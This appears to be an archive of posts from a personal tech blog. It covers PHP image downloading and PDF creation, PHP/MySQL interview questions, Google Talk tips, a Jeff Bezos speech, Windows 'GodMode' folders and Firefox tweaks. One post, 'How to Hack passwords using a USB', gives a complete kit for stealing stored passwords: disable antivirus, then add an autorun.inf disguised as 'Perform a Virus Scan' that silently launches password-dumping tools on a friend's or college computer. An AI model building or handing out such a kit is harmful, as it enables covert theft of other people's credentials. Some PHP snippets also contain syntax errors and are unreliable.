Download images from url php

2012-02-04T06:24:00.000-08:00

First Select link from database or from any...
$url = "SELECT link FROM tablename";

Now second step is check image is available on url or not..
we can check it by so many step i give hint at end of this post....

// check url available using get_header method...
$url_head = get_headers($url)

if($url_head == FALSE)
{
echo "URL or HEAD Unavailable.....";
}

else
{
// now check url image hav not 404 error to download...
$head_chk = strpos ($url_head[0], '404 Not Found');

if($head_chk === FALSE)
{

$image_data = file_get_contents($url); // get content from url..
$image_name = basename($url); // for save same name which in url.
$image__save_location = "/path/images_folder"; // Save location or path..

if(!$image_data)
{
// write some another image url like default image save if not available....
$no_image_data = "some default image url... if some image not available on url"

// now save image using file_put_contents function with same name which in url.
file_put_contents($image__save_location."/".$image_name, $no_image_data);
}
else
{
file_put_contents($image__save_location."/".$image_name, $image_data);
}
}
else
{
echo "404 and Image Not Available.......";
}
}

-----------------------------------------------------
-----------------------------------------------------
You also check some other condition like image avilabel or not in php
1. getimagesize($url);
2. get_headers($url);
3. file_get_contents($url);

How to create pdf file in php?

2012-01-07T05:09:00.000-08:00

To create pdf file in php. we need to install some class.
this you can download from..
http://www.fpdf.org/en/download.php

After download put it into your directory..

and create a new file hello.php in that folder...
it important to your file make in this folder..[where fpdf.php will be save]

now past this code in hello.php and save it..
< php
require('fpdf.php');
$pdf = new FPDF();
$pdf->AddPage();
$pdf->SetFont('Arial','B',16);
$pdf->Cell(40,10,'Hello World!');
$pdf->Output();
>

In this code..
The FPDF() constructor is used here with the default values: pages are in A4 portrait.
You can change it by...
$pdf = new FPDF('P','mm','A4');

Now There's no page at the moment, so we have to add one with AddPage().
AddPage(oraientation, size)
Oraientation = P or Portrait, L or Landscape

size: A3, A4, A5..

Now before we can print text, it's mandatory to select a font with SetFont(), otherwise the document would be invalid. We choose Arial bold 16:

Now We can now print a cell with Cell(). A cell is a rectangular area, possibly framed, which contains a line of text.
Cell( w , h , txt , border , ln , align , fill , link)
w-width

h-height

txt-string

border- 0=No border, 1=Frame

ln- Indicates where the current position should go after the call [0-to the right, 1-to the beginning of next line, 2-below]

align- L-left, R-Right, C-Center

Fill- true=painted, false=transparent[default false.]

link- URL

............

For Details of all class... See this links..

Most Common php + mysql interview questions

2011-12-12T09:19:00.000-08:00

These are some of the PHP and MySQL question that you cannot avoid.
All questions i got from this site CLICK HERE

1 ) What will you use to initialize a string ? ie with single quotes or double quotes ?

Ans:
Unlike the double-quoted syntaxes, variables and escape sequences for special characters will not be expanded when they occur in single quoted strings.

As in single quoted strings, escaping any other character will result in the backslash being printed too. Before PHP 5.1.1, the backslash in \{$var}had not been printed.

The most important feature of double-quoted strings is the fact that variable names will be expanded.

2 ) You have a string “hi all, I said hello” . You want to replace the occourence of hi with hello and hello with hi . What will you do ?

Ans:

$rawstring= "hi all, I said hello";

$placeholders = array('hi', 'hello'')

$malevals = array('hello', hi');

$malestr = str_replace($placeholders, $malevals, $rawstring);

echo $malestr ;

---

ereg() - Regular expression match

eregi() - Case insensitive regular expression match

eregi_replace() - Replace regular expression case insensitive

str_replace() - Replace all occurrences of the search string with the replacement string

preg_match() - Perform a regular expression match

==============

more details:

http://php.net/manual/en/function.ereg-replace.php

http://www.tizag.com/phpT/php-string-str_replace.php

3 ) What’s the difference between PHP4 and PHP5 ?

Ans:
The new OOP features in PHP5 is probably the one thing that everyone knows for sure about. Out of all the new features, these are the ones that are talked about most!

1. Passed by Reference

2. Visibility[public, protected, private]

3. Unified Constructors and Destructors

4. The __autoload Function

===========

more details:

http://tycoontalk.freelancer.com/php-forum/78717-differences-between-php4-and-php5.html

4 ) What’s all added in PHP 5.3 ?
Ans:

PHP 5.3.0 offers a wide range of new features:

Support for namespaces has been added.
Support for Late Static Bindings has been added.
Support for jump labels (limited goto) has been added.
Support for native Closures (Lambda/Anonymous functions) has been added.
There are two new magic methods, __callStatic and __invoke.
Nowdoc syntax is now supported, similar to Heredoc syntax, but with single quotes.
It is now possible to use Heredocs to initialize static variables and class properties/constants.
Heredocs may now be declared using double quotes, complementing the Nowdoc syntax.
Constants can now be declared outside a class using the const keyword.
The ternary operator now has a shorthand form: ?:.
The HTTP stream wrapper now considers all status codes from 200 to 399 to be successful.
Dynamic access to static methods is now possible.
Exceptions can now be nested.
A garbage collector for circular references has been added, and is enabled by default.
The mail() function now supports logging of sent email.

========

more details:

http://php.net/manual/en/migration53.new-features.php

5 ) What’s Name spacing ?

Ans:

In the PHP world, namespaces are designed to solve two problems that authors of libraries and applications encounter when creating re-usable code elements such as classes or functions:

Name collisions between code you create, and internal PHP classes/functions/constants or third-party classes/functions/constants.
Ability to alias (or shorten) Extra_Long_Names designed to alleviate the first problem, improving readability of source code.

PHP Namespaces provide a way in which to group related classes, interfaces, functions and constants.

6 ) What are the types of inheritance PHP supports ?

Ans:

Similar to Java, PHP supports single inheritance. There is no multiple inheritance in php. Single inheritance means a class can extend only one parent class.

PHP also has interfaces which can be implemented if bunch of classes need to have similar functionality. An interface can be created containing methods with empty body. Implementing classes then must provide body to those methods.

When a class implements an interface, it is signing up a contract that it will provide implementation to methods declared in that interface.

7 ) What do you mean by an Abstract class and Interface ?

Ans:

Depending on the context, an interface class is either a class of the interface layer or a class whose purpose is to create a contract between a caller and an implementation (usually by providing only purely virtual functions).

An abstract class is a class that has at least one purely virtual function. Abstract classes can contain abstract and concrete methods. Abstract classes cannot be instantiated directly i.e. we cannot call the constructor of an abstract class directly nor we can create an instance of an abstract class

A static class is a class that has only static member variables and static member functions.

8 ) When a file is uploaded to the sever how can you check whether its uploaded or not ?

Ans:

(PHP 4 >= 4.0.3, PHP 5)

is_uploaded_file — Tells whether the file was uploaded via HTTP POST.

is_uploaded_file($_FILES['userfile']['tmp_name']);

Returns TRUE on success or FALSE on failure.

9 ) How will you move the uploaded file to another location of server ?

Ans:

move_uploaded_file — Moves an uploaded file to a new location.

This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism).

If the file is valid, it will be moved to the filename given by destination.

10 ) What are the things that need to be checked before uploading a file ?

Ans:

Check picture file type and size before file upload..

more details:

http://php.net/manual/en/features.file-upload.php

11 ) How will you connect mysql ?
Ans:

12 ) Does PHP supports PDF creation ?

Ans:

The PDF functions in PHP can create PDF files using the PDFlib library which was initially created by Thomas Merz and is now maintained by » PDFlib GmbH.

Starting with PHP 4.0.5, the PHP extension for PDFlib is officially supported by PDFlib GmbH. This means that all the functions described in the PDFlib Reference Manual are supported by PHP 4 with exactly the same meaning and the same parameters.

13 ) What are the storage types in MySQL ?

Ans:

13.1. The MyISAM Storage Engine[default engine]

13.2. The InnoDB Storage Engine

13.3. The MERGE Storage Engine

13.4. The MEMORY (HEAP) Storage Engine

13.5. The BDB (BerkeleyDB) Storage Engine

13.6. The EXAMPLE Storage Engine

13.7. The FEDERATED Storage Engine

13.8. The ARCHIVE Storage Engine

13.9. The CSV Storage Engine

13.10. The BLACKHOLE Storage Engine

more details

http://dev.mysql.com/doc/refman/5.0/en/storage-engines.html

14 ) What is the difference between InnoDb and MyISAM ?

Ans:

The big difference between MySQL Table Type MyISAM and InnoDB is that InnoDB supports transaction
InnoDB supports some newer features: Transactions, row-level locking, foreign keys
InnoDB is for high volume, high performance

15 ) Does MyISAM supports relations ?

Ans:

16 ) What’s indexing ?

Ans:

A database index is a data structure that improves the speed of data retrieval operations on a database table at the cost of slower writes and increased storage space.

17 ) MySQL is case sensitive or case insensitive ?

Ans:

SQL itself isn't case sensitive, but it can be on searching data, all depends on the table collation settings.

MySQL syntax is not case sensitive, you can write
SELECT * FROM table WHERE ...
or
select * from table where...
or
SeLEct * FroM table WHerE
or whatever else you want.

On select queries you can search for case sensitive fields values, in example if you want to find "text" inside a field but not "TEXT", "Text".... you can use

SELECT * FROM table WHERE binary(fieldname)='text';

18 ) You have a table say user with field name and data’s Lokam , loker , lover , Lough , Lost , Enough , Elephant etc . Write a query which gives all the terms Lokam , loker , lover , Lough and Lost .

Ans:

19 ) Now you want to select only the loker , lover . What will you add to get this result ?

Ans:

20 ) Let there is table user with name and marks . How will you select the second largest number from this table ? For eg let the data’s are
hari 23 , jenson 10 , ruby 20 , rijith 10 . You want to select 20 from this.
Ans:

21 ) What are the different types of JOINS ?

Ans:

A join combines records from two or more tables in a relational database. In the Structured Query Language (SQL), there are two types of joins: "inner" and "outer". Outer joins are subdivided further into left outer joins, right outer joins, and full outer joins.

Inner join
This is the default join method if nothing else is specified. An inner join essentially finds the intersection between the two tables. The join takes all the records from table A and finds the matching record(s) from table B. If no match is found, the record from A is not included in the results. If multiple results are found in B that match the predicate then one row will be returned for each (the values from A will be repeated).
Special care must be taken when joining tables on columns that can be NULL since NULL values will never match each other

Left outer join
A left outer join is very different from an inner join. Instead of limiting results to those in both tables, it limits results to those in the "left" table (A). This means that if the ON clause matches 0 records in B, a row in the result will still be returned—but with NULL values for each column from B.

Right outer join
A right outer join is much like a left outer join, except that the tables are reversed. Every record from the right side, B, will be returned, and NULL values will be returned for those that have no matching record in A.

Full outer join
Full outer joins are the combination of left and right outer joins. These joins will show records from both tables, and fill in NULLs for missing matches on either side

22 ) What is LEFT , RIGHT , INNER joins ?
Ans:

23 ) Have you used Triggers ? What is it ?
Ans:
A database trigger is procedural code that is automatically executed in response to certain events on a particular table or view in a database.
The trigger is mostly used for keeping the integrity of the information on the database.
For example, when a new record (representing a new worker) is added to the employees table, new records should be created also in the tables of the taxes, vacations, and salaries.

24 ) What is Views in MySQL ?

Ans:

A database View is known as a "virtual table" which allows you to query the data in it.

Understanding Database View and using it correctly is crucial.

MySQL views are essentially a way to package up SELECT statements into re-usable virtual tables whereby the data can be retrieved simply by referencing the view, rather than having to repeat the associated SELECT statement.

25 ) Have you written procedures ? How can you write a procedure in MySQL ?
Ans:

26 ) How can you call a mysql procedure from PHP ?
Ans:

27 ) What is MVC ? ( If you are strong in any frameworks , then questions from that can also be hit, don’t make it a miss rate )
Ans:

28 ) Does PHP has an XML library ? Is it comming as default ?
Ans:

29 ) What’s SOAP ?
Ans:
SOAP, originally defined as Simple Object Access Protocol, is a protocol specification for exchanging structured information in the implementation of Web Services in computer networks.

It relies on Extensible Markup Language (XML) for its message format, and usually relies on other Application Layer protocols, most notably Hypertext Transfer Protocol(HTTP) and Simple Mail Transfer Protocol (SMTP), for message negotiation and transmission. SOAP can form the foundation layer of a web services protocol stack, providing a basic messaging framework upon which web services can be built.

30 ) What’s is XSS attack ?
Ans:
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications that enables attackers to inject client-side script into Web pages viewed by other users.
A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy.

31 ) What’s the difference between htmlspecialchars and htmlentities ?
Ans:

32 ) What is Session and Cookie ?
Ans:

33 ) What’s the difference between session_register and $_SESSION ?

Ans:

The very first main and simple difference is that session_register function returns boolean value and $_SESSION returns string value.
The second will be session_register function doesn't work if register_global is disabled.
But whereas $_SESSION works in both case whether register_global is disabled or enabled. So using $_SESSION for session variable manipulation is more appropriate.

34 ) What is magic quotes ? Is it on or off by default in PHP 5 ?

Ans:

Magic Quotes is a process that automagically escapes incoming data to the PHP script.

It's preferred to code with magic quotes off and to instead escape the data at runtime, as needed.
Magic Quotes are depreciated and going to be removed in PHP6.

35 ) What does __sleep and __wake do ?
Ans:

36 ) Can you submit a form without a submit button ?
Ans:

You can submit a form without a submit button, but it relies on javascript, which is a bad thing. How will you keep your pages working for those without javascript enabled?

Anyway, to submit the first form on your page, you can use something like this:

submit

37 ) How can you set a cookie to expire after 30 minutes or so ?

Ans:

30 minutes is 30 * 60 * 1000 miliseconds. Add that to the current date to specify an expiration date 30 minutes in the future.

 var date = new Date();
 date.setTime(date.getTime() + (30 * 60 * 1000));
 $.cookie("example", "foo", { expires: date });

and for session>>

if(isSet($_SESSION['started'])){
  if((mktime() - $_SESSION['started'] - 60*30) > 0){
    //logout, destroy session etc
  }
}else{
  $_SESSION['started'] = mktime();
}

Google Talk Cheat Sheet

2010-09-12T05:31:00.000-07:00

Are you crazy about Google Talk. Do you want to be become a master of Google Talk? Then here is a source for you to know each and every secret of Google Talk. I think this is a complete list of tips, tricks, hacks, howto’s, keyboard shortcuts and few miscellaneous facts about Google Talk.

Tips & Tricks

1. Change the font size
While holding the control key, move the scroll wheel on your mouse either up or down. This trick works while being focused in either the read or write area.
2. Insert line breaks
If you want to have a message that spans multiple paragraphs, just hold shift and hit enter. You can add as many new lines as you want to create.
3. Bold Text
To write something bold, you can use an asterisk before and after the word. For Example *Hacker*
4. Italic Text
To use italics, use an underscore before and after the word. For Example _Hacker_
5. Switch windows
Hitting tab will cycle through open windows. It will select minimized conversations, to expand them just hit enter. If you just want to cycle through IM’s and don’t care about the buddy list, control-tab will do that and will automatically expand a minimized conversation if you settle on one.
6. Invitation Tips
You don’t need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this in the options).
7. Show Hyperlinks
You can show your homepage or blog URL simply by entering it in your away message (at the top of the main window). It will automatically turn to a link visible to others.

How To’s

1. Use multiple identities on Google Talk
Want to run Google Talk with multiple Gmail identities? If you have several Google Gmail accounts you also may want to run multiple instances of Google Talk This is especially important for families that share a single PC. Basically, to have “Google Polygamy” you need to run Google Talk with the following switch: /nomutex

Right-click on the desktop
Select New -> Shortcut
Paste the following into the Address box:

“C:\program files\google\google talk\googletalk.exe” /nomutex

Click Next and choose a shortcut name such as Google Talk1, Google Talk2, or something related to your Gmail account for easy remembering which account is which.

2. Use Google Talk via a Web Browser
You want to use Google Talk anywhere ? Follow these guidelines

Opens your favourite web browser.
Go to following Website

http://www.webjabber.net:8080/jim/

Follow the instructions of the Page.
You can talk with your friends

3. Conference Calls

Open up a copy of Google Talk on all computers with which you wish to conference.
After one copy is opened make a new shortcut for Google Talk but at the end of it add /nomutex.
If you installed it to the default folder then your shortcut should read “C:\Program Files\Google\Google Talk\googletalk.exe” /nomutex.
Open 2nd instances of the software on every user’s computer.
After this start a chain: User 1 should connect on one instance to user 2. User 2 will connect on his second instance to user 3. User 3 will connect using his second instance back to user 1. With this chain everyone is connected to everyone.

4. Change Nickname
You can’t change your nickname in a way that other people will see it change. Every nickname in the Google Talk Contact List is the part that is before @gmail.com (only the alphabetical characters are used) or the name you chosen for your GMail account. To change the nickname you need to do the following:

Go to your Gmail account and change the name there.
Choose Settings, Accounts, and then Edit info. Click on the second radio button, and enter your custom name.
As a result all of your emails will have that nick as well, there is no way to seperate the two.
You can add a website in your custom message, it will be clickable when someone opens a conversation window with you.

5. Contacts
You don’t need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this).

6. Play Music
It’s possible to broadcast music, MP3, etc. through Google Talk. Follow the steps given bellow:

Unplug your microphone.
Double click on the speaker icon in the lower right corner. This will open up “Volume Control”.
Select “Options” and then “Properties”. Then check the button next to “Recording” then click OK.
You may also have to change your setting under Mixer Device. Now the Recording Control screen should be up.
On my computer I selected “Wave Out Mix”. Click on the green phone in Google Talk and call your friend.

Registry Hacks

Before applying any of these Registry Tweaks follow the steps given below:

Backup your Registry
Start -> Run -> Regedit
Now Navigate to the following directory

HKEY_CURRENT_USER\Software\Google\Google Talk.

Make Changes based on the info given bellow.
Restart your PC for the changes to take effect.

The “Google/Google Talk” key has several sub-keys that hold different option values:
Accounts: This one has subkeys for each different account that has logged in on the client. These keys have different values that store the username, password and connection options.

Autoupdate: Stores the current version information. When the client checks for updates it compares Google’s response with these values. If an update is needed, it will download and update the new version.
Options: This is the most interesting part, where most of the current hacks should be used (keep reading).
Process: Stores the process ID. Probably used by Google Talk to detect if it’s already running or not.

HKEY_CURRENT_USER\Software\Google\Google Talk\Options\show_pin
HKEY_CURRENT_USER\Software\Google\Google Talk\Options\view_show_taskbutton
HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_inactive
HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_screensaver
HKEY_CURRENT_USER\Software\Google\Google Talk\Options\inactive_minutes

"We are What We Choose" – Jeff Bezos on Entrepreneurship

2010-07-12T23:38:00.000-07:00

Jeff_Bezos

As a kid, I spent my summers with my grandparents on their ranch in Texas. I helped fix windmills, vaccinate cattle, and do other chores. We also watched soap operas every afternoon, especially “Days of our Lives.” My grandparents belonged to a Caravan Club, a group of Airstream trailer owners who travel together around the U.S. and Canada. And every few summers, we’d join the caravan. We’d hitch up the Airstream trailer to my grandfather’s car, and off we’d go, in a line with 300 other Airstream adventurers. I loved and worshipped my grandparents and I really looked forward to these trips. On one particular trip, I was about 10 years old. I was rolling around in the big bench seat in the back of the car. My grandfather was driving. And my grandmother had the passenger seat. She smoked throughout these trips, and I hated the smell.

At that age, I’d take any excuse to make estimates and do minor arithmetic. I’d calculate our gas mileage — figure out useless statistics on things like grocery spending. I’d been hearing an ad campaign about smoking. I can’t remember the details, but basically the ad said, every puff of a cigarette takes some number of minutes off of your life: I think it might have been two minutes per puff. At any rate, I decided to do the math for my grandmother. I estimated the number of cigarettes per days, estimated the number of puffs per cigarette and so on. When I was satisfied that I’d come up with a reasonable number, I poked my head into the front of the car, tapped my grandmother on the shoulder, and proudly proclaimed, “At two minutes per puff, you’ve taken nine years off your life!”

I have a vivid memory of what happened, and it was not what I expected. I expected to be applauded for my cleverness and arithmetic skills. “Jeff, you’re so smart. You had to have made some tricky estimates, figure out the number of minutes in a year and do some division.” That’s not what happened. Instead, my grandmother burst into tears. I sat in the backseat and did not know what to do. While my grandmother sat crying, my grandfather, who had been driving in silence, pulled over onto the shoulder of the highway. He got out of the car and came around and opened my door and waited for me to follow. Was I in trouble? My grandfather was a highly intelligent, quiet man. He had never said a harsh word to me, and maybe this was to be the first time? Or maybe he would ask that I get back in the car and apologize to my grandmother. I had no experience in this realm with my grandparents and no way to gauge what the consequences might be. We stopped beside the trailer. My grandfather looked at me, and after a bit of silence, he gently and calmly said, “Jeff, one day you’ll understand that it’s harder to be kind than clever.”

What I want to talk to you about today is the difference between gifts and choices. Cleverness is a gift, kindness is a choice. Gifts are easy — they’re given after all. Choices can be hard. You can seduce yourself with your gifts if you’re not careful, and if you do, it’ll probably be to the detriment of your choices.
This is a group with many gifts. I’m sure one of your gifts is the gift of a smart and capable brain. I’m confident that’s the case because admission is competitive and if there weren’t some signs that you’re clever, the dean of admission wouldn’t have let you in.

Your smarts will come in handy because you will travel in a land of marvels. We humans — plodding as we are — will astonish ourselves. We’ll invent ways to generate clean energy and a lot of it. Atom by atom, we’ll assemble tiny machines that will enter cell walls and make repairs. This month comes the extraordinary but also inevitable news that we’ve synthesized life. In the coming years, we’ll not only synthesize it, but we’ll engineer it to specifications. I believe you’ll even see us understand the human brain. Jules Verne, Mark Twain, Galileo, Newton — all the curious from the ages would have wanted to be alive most of all right now. As a civilization, we will have so many gifts, just as you as individuals have so many individual gifts as you sit before me.

How will you use these gifts? And will you take pride in your gifts or pride in your choices?

I got the idea to start Amazon 16 years ago. I came across the fact that Web usage was growing at 2,300 percent per year. I’d never seen or heard of anything that grew that fast, and the idea of building an online bookstore with millions of titles — something that simply couldn’t exist in the physical world — was very exciting to me. I had just turned 30 years old, and I’d been married for a year. I told my wife MacKenzie that I wanted to quit my job and go do this crazy thing that probably wouldn’t work since most startups don’t, and I wasn’t sure what would happen after that. MacKenzie (also a Princeton grad and sitting here in the second row) told me I should go for it. As a young boy, I’d been a garage inventor. I’d invented an automatic gate closer out of cement-filled tires, a solar cooker that didn’t work very well out of an umbrella and tinfoil, baking-pan alarms to entrap my siblings. I’d always wanted to be an inventor, and she wanted me to follow my passion.

I was working at a financial firm in New York City with a bunch of very smart people, and I had a brilliant boss that I much admired. I went to my boss and told him I wanted to start a company selling books on the Internet. He took me on a long walk in Central Park, listened carefully to me, and finally said, “That sounds like a really good idea, but it would be an even better idea for someone who didn’t already have a good job.” That logic made some sense to me, and he convinced me to think about it for 48 hours before making a final decision. Seen in that light, it really was a difficult choice, but ultimately, I decided I had to give it a shot. I didn’t think I’d regret trying and failing. And I suspected I would always be haunted by a decision to not try at all. After much consideration, I took the less safe path to follow my passion, and I’m proud of that choice.

Tomorrow, in a very real sense, your life — the life you author from scratch on your own — begins.

How will you use your gifts? What choices will you make?

Will inertia be your guide, or will you follow your passions?

Will you follow dogma, or will you be original?

Will you choose a life of ease, or a life of service and adventure?

Will you wilt under criticism, or will you follow your convictions?

Will you bluff it out when you’re wrong, or will you apologize?

Will you guard your heart against rejection, or will you act when you fall in love?

Will you play it safe, or will you be a little bit swashbuckling?

When it’s tough, will you give up, or will you be relentless?

Will you be a cynic, or will you be a builder?

Will you be clever at the expense of others, or will you be kind?

I will hazard a prediction. When you are 80 years old, and in a quiet moment of reflection narrating for only yourself the most personal version of your life story, the telling that will be most compact and meaningful will be the series of choices you have made. In the end, we are our choices. Build yourself a great story. Thank you and good luck!

Your First Step Towards Hacking

2010-07-07T12:40:00.000-07:00

Basic principle behind hacking is learn how the things are constructed, You can easily find the way to destruct it. There are some general mistakes in making things, you can know it only when you try to make it too.

When you make mistake while creating something, if someone try to take over that mistake & use it as a security hole to intrude in your system is called as hacker. So you need to learn the construction. The construction of following things:

Networks :
1. How Network is Created
2. How Firewalls are placed
3. Topology of The Network
4. Encryption

Web/Internet:
1. How a website is created, how they run (For that have some website, learn some potential problems in making a website, if you don’t have budget, then search for free hosts & domains )
2. How a blog is created & managed

Applets/ Applications:
1. Learn How the application are develop (Try to develop something, just for practice)
2. Learn specially apps of Browsers, WordPress, Twitter, Soft wares.

Platforms:
1. You must have command over Linux & Windows.
2. If you have Mac, that will be great, but it is not in essential list.

Gadgets:
Keep track of all the gadgets like – cellphones, their operating systems, net books, PSP, gaming consoles, google android, mobile windows, their apps everything.

Coding :
If you can not code then you can not create. So You have to have hand on Java, C and any of Web programming language but prefer PHP & HTML
This is too big list . . huh?

This is shortest ever list I have ever seen to be very loyal to you. Really, You don’t have to do thins in one day or something. You get all books for beginners like, networks for dummies, Java black book.
You have to read constantly. I am trying to collect here some of the best things which you can use it as your notes for hacking stuff. So be updated with it. But at least know the networks & Linux, so You can learn faster. Other things are your homework, you have read on net, try to create & all this stuff, you need to do it on your own. I am all here to he lo you in it. Any type of problem you have,We are here to help. You can mail us, comment here or by any means I will try to make things better for you.
Just keep the patience & confidence. This is your first step to hacking – all you’re doing it for your curiosity. And curiosity is not a crime . . .

If you are good at all the things listed above I would like to Recommend some books:
1. Network Security: Private Communication in Public World (PHI Publication) – Its about Cryptography/ Encryption
2. Thinking Beyond Firewalls
3. Linux Security Cookbook

(Don’t read any book like : hacking gmail, how to hack, hacking secrets … blah, blah , blah- They are not for hackers)

How to Hack passwords using a USB

2010-03-02T10:51:00.000-08:00

Hello Friends,

Have you ever thought that a Simple USB Drive can be used as a Destructive Tool for Hacking Passwords? Today I will show you how to hack Passwords using an USB Pen Drive.

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places.

Using these tools and an USB pendrive you can create your own rootkit to hack passwords from your friend’s/college Computer. We need the following tools to create our rootkit.

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

Here is a step by step procedure to create the password hacking toolkit.

NOTE: You must temporarily disable your Anti-Virus before following these steps.

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.

ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad as autorun.inf

Now copy the autorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt

save the Notepad as launch.bat

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend’s PC or on your college computer. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP and Vista.

Disclaimer: I am not responsible for any kind of Damage caused by using the above information. The above Tutorial is only for recovering forgotten passwords.

Secret ‘GodModes’ in Windows 7

2010-03-02T09:47:00.000-08:00

The foxy-sounding name is a little deceiving, because as far as we know, it is exactly what people are calling it – a glorified control panel. However, that goes without saying how useful this feature actually is.

GodMode is the name given to cheats in video games that provided you with all weapons and access to all areas. As it turns out, Windows 7 has a GodMode cheat as well. It is basically a control panel of sorts which provides you access to all the features in one explorer window. In the Windows 7 control panel, features are grouped together either in categories or control panel item names. Nothing is grouped under anything in GodMode.

How to access GodMode?

Method 1:

1. Create a new folder and name it GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}

2. The icon will be changed automatically to Control Panel’s icon.

3. Now open the folder and see the magic of Windows Registry!

Method 2

1. Create a shortcut with following path and set desired icon:

explorer.exe shell:::{ED7BA470-8E54-465E-825C-99712043E01C}

Note: Sometimes it kills explorer.exe using Method 1! probably Windows Vista x64 editions. Therefore I suggest to use Method 2.

Solution for the Crash

To get rid of this issue, Boot into Safe Mode with Command Prompt and delete that folder. For eg. You created a folder GodMode.{ED7BA470-8E54-465E-825C-99712043E01C} on desktop, So either navigate to Desktop folder execute the following command:

RmDir “GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}”

Or type the absolute path of folder, like-

RmDir “C:\Users\\Desktop\GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}”

Applies To:

Windows Vista x86 editions
Windows Vista x64 editions
Windows 7 x86 editions
Windows 7 x64 editions

Windows has lot of GodModes

It is found that there are lot of GodModes and they differ based on the Strings used in Name the Folder.

In an e-mail interview, Steven Sinofsky, Windows division president, said several similar undocumented features provide direct access to all kinds of settings, from choosing a location to managing power settings to identifying biometric sensors.

As with the all-encompassing GodMode uncovered by bloggers, these other settings can be accessed directly by creating a new folder with any name (GodMode or otherwise) and then including a certain text string. Sinofsky noted more than a dozen strings create particular settings folders, in addition to the overarching GodMode folder option.

For example, the first one could be a folder named “Hungry Hacker.{00C6D95F-329C-409a-81D7-C46C66EA7F33}” (use everything inside quotes–but not the quotes themselves).

Here’s the list of strings:

{00C6D95F-329C-409a-81D7-C46C66EA7F33}
{0142e4d0-fb7a-11dc-ba4a-000ffe7ab428}

{15eae92e-f17a-4431-9f28-805e482dafd4}
{17cd9488-1228-4b2f-88ce-4298e93e0966}
{1D2680C9-0E2A-469d-B787-065558BC7D43}
{1FA9085F-25A2-489B-85D4-86326EEDCD87}
{208D2C60-3AEA-1069-A2D7-08002B30309D}

8 Hidden Firefox Secrets Revealed

2010-03-02T08:58:00.001-08:00

The best thing about Firefox is that just when you think you know everything there is to know about the browser, something new comes along and surprises you. Here are few hidden tips and tricks. Maybe these are old hat and you know them already. Or maybe you had no idea these could be done. Lets see how many of these you know already.

1. Open docx file using Firefox without Office 2007: Now, you can view docx files using Firefox by installing OpenXMLViewer which is available for Windows, Mac and Linux users. It is an useful extension for users who haven’t upgrade to Microsoft Office 2007. Basically, the extension will convert docx documents into HTML format so that web browsers can render and display to users. So, the extension is not able to shows embedded objects.

2. More screen space: Make your icons small. Go to View – Toolbars – Customize and check the “Use small icons” box.

3. Mouse shortcuts: We all are aware of the Keyboard shortcuts. But have you ever tried Mouse Shortcuts. Sometimes you are already using your mouse and it is easier to use a mouse shortcut than to go back to the keyboard. Master these cool ones

Middle click on link (opens in new tab)
Shift-scroll down (previous page)
Shift-scroll up (next page)
Ctrl-scroll up (decrease text size)
Ctrl-scroll down (increase text size)
Middle click on a tab (closes tab)

4. Limit RAM usage: If Firefox takes up too much memory on your computer, you can limit the amount of RAM it is allowed to us. Go to about:config, filter “browser.cache” and select “browser.cache.disk.capacity”. It’s set to 50000, but you can lower it, depending on how much memory you have. Try 15000 if you have between 512MB and 1GB ram.

5. Reduce RAM usage further for when Firefox is minimized: This setting will move Firefox to your hard drive when you minimize it, taking up much less memory. And there is no noticeable difference in speed when you restore Firefox, so it’s definitely worth a go. Again, go to about:config, right-click anywhere and select New-> Boolean. Name it “config.trim_on_minimize” and set it to TRUE. You have to restart Firefox for these settings to take effect.

